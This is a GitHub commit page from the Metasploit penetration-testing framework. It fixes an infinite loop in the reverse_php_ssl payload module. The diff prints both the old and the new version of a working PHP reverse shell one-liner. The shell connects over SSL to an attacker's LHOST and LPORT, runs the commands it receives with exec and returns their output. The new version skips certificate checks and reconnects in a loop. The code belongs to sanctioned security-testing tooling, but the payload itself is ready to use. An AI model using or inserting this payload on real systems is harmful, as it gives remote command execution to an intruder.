Skip to content

Commit

Permalink
Fix reverse_php_ssl infinite loop
Browse files Browse the repository at this point in the history
  • Loading branch information
trevorsibanda committed Feb 22, 2018
1 parent 6721b79 commit 77b3673
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions modules/payloads/singles/cmd/unix/reverse_php_ssl.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@

module MetasploitModule

CachedSize = 132
CachedSize = 253

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
Expand Down Expand Up @@ -49,6 +49,6 @@ def command_string
lhost = datastore['LHOST']
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
cmd = "php -r '$s=fsockopen(\"ssl://#{datastore['LHOST']}\",#{datastore['LPORT']});while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}'&"
cmd = "php -r '$ctxt=stream_context_create([\"ssl\"=>[\"verify_peer\"=>false]]);while($s=@stream_socket_client(\"ssl://#{datastore['LHOST']}:#{datastore['LPORT']}\",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}}'&"
end
end

0 comments on commit 77b3673

Please sign in to comment.